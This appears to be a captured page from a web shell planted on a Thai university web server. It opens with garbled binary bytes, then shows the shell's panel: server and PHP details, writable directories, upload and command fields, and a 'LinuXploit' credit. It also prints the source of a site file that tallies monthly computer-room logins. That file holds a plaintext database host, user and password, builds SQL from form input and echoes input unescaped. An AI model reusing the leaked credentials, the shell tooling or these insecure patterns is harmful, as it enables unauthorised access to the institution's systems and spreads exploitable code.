h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/arit/images/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/arit/images/stat_comroom.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Untitled Document</title>
</head>

<body>
<p>
  <?php
if ($_POST["Submit"])
{
	$select_month=$_POST["select_month"];
	$select_year=$_POST["select_year"]-543;
	if ($select_month==1)
	{
		$start_date = $select_year . '-01-01 00:00:00';
		$end_date = $select_year . '-01-31 23:59:59';
		$month_name = "มกราคม";
	}
	elseif ($select_month==2)
	{
		$start_date = $select_year . '-02-01 00:00:00';
		$end_date = $select_year . '-02-28 23:59:59';	
		$month_name = "กุมภาพันธ์";
	}
	elseif ($select_month==3)
	{
		$start_date = $select_year . '-03-01 00:00:00';
		$end_date = $select_year . '-03-31 23:59:59';	
		$month_name = "มีนาคม";
	}	
	elseif ($select_month==4)
	{
		$start_date = $select_year . '-04-01 00:00:00';
		$end_date = $select_year . '-04-30 23:59:59';	
		$month_name = "เมษายน";		
	}
	elseif ($select_month==5)
	{
		$start_date = $select_year . '-05-01 00:00:00';
		$end_date = $select_year . '-05-31 23:59:59';	
		$month_name = "พฤษภาคม";		
	}	
	elseif ($select_month==6)
	{
		$start_date = $select_year . '-06-01 00:00:00';
		$end_date = $select_year . '-06-30 23:59:59';	
		$month_name = "มิถุนายน";		
	}
	elseif ($select_month==7)
	{
		$start_date = $select_year . '-07-01 00:00:00';
		$end_date = $select_year . '-07-31 23:59:59';	
		$month_name = "กรกฎาคม";		
	}	
	elseif ($select_month==8)
	{
		$start_date = $select_year . '-08-01 00:00:00';
		$end_date = $select_year . '-08-31 23:59:59';
		$month_name = "สิงหาคม";			
	}	
	elseif ($select_month==9)
	{
		$start_date = $select_year . '-09-01 00:00:00';
		$end_date = $select_year . '-09-30 23:59:59';	
		$month_name = "กันยายน";		
	}	
	elseif ($select_month==10)
	{
		$start_date = $select_year . '-10-01 00:00:00';
		$end_date = $select_year . '-10-31 23:59:59';	
		$month_name = "ตุลาคม";		
	}	
	elseif ($select_month==11)
	{
		$start_date = $select_year . '-11-01 00:00:00';
		$end_date = $select_year . '-11-30 23:59:59';	
		$month_name = "พฤศจิกายน";		
	}	
	elseif ($select_month==12)
	{
		$start_date = $select_year . '-12-01 00:00:00';
		$end_date = $select_year . '-12-31 23:59:59';	
		$month_name = "ธันวาคม";		
	} //if ($select_month==1)	
	$objConnect = mysql_connect("202.29.16.13","pgina","pgina@cc") or die("Error Connect to Database");
	$objDB = mysql_select_db("db_pgina");
	mysql_query("SET NAMES UTF8");
	
	$strSQL = "SELECT * FROM pGinaLIB WHERE ((TimeStamp BETWEEN '" . $start_date . "' AND '" . $end_date . "') AND (Message LIKE '%Logon user%'))";
	$objQuery = mysql_query($strSQL);
	$num_rows_arit = mysql_num_rows($objQuery);
	
	$strSQL = "SELECT * FROM pGinaCC WHERE ((TimeStamp BETWEEN '" . $start_date . "' AND '" . $end_date . "') AND (Message LIKE '%Logon user%'))";
	$objQuery = mysql_query($strSQL);
	$num_rows_cc = mysql_num_rows($objQuery);
?>
<h1>สถิติการใช้บริการห้องคอมพิวเตอร์</h1>
<h2>เดือน<?php echo $month_name;?>&nbsp;&nbsp;&nbsp;ปีพ.ศ.&nbsp;<?php echo $_POST["select_year"];?></h2></p>
<table border="1" cellspacing="0" cellpadding="5">
  <tr>
    <td bgcolor="#FFFF00"><div align="center">สถานที่</div></td>
    <td bgcolor="#FFFF00"><div align="center">จำนวนครั้งที่ใช้บริการ</div></td>
  </tr>
  <tr>
    <td>ศูนย์คอมพิวเตอร์</td>
    <td><?php echo $num_rows_cc;?></td>
  </tr>
  <tr>
    <td>ห้องสมุด</td>
    <td><?php echo $num_rows_arit;?></td>
  </tr>
</table>
<p>
  <?php	
}
else //if ($_POST["Submit"])
{
?>
</p>
<p>สถิติการใช้บริการห้องคอมพิวเตอร์</p>
<form id="form1" name="form1" method="post" action="">
  เดือน 
  <select name="select_month" id="select_month">
    <option value="1">มกราคม</option>
    <option value="2">กุมภาพันธ์</option>
    <option value="3">มีนาคม</option>
    <option value="4">เมษายน</option>
    <option value="5">พฤษภาคม</option>
    <option value="6">มิถุนายน</option>
    <option value="7">กรกฎาคม</option>
    <option value="8">สิงหาคม</option>
    <option value="9">กันยายน</option>
    <option value="10">ตุลาคม</option>
    <option value="11">พฤศจิกายน</option>
    <option value="12">ธันวาคม</option>
  </select> 
  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ปีพ.ศ.
  <input name="select_year" type="text" id="select_year" value="<?php echo date("Y")+543; ?>" size="4" />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<input type="submit" name="Submit" value="ดูสถิติ" />
</form>
<p>&nbsp;</p>
<?php
} //if ($_POST["Submit"])
?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit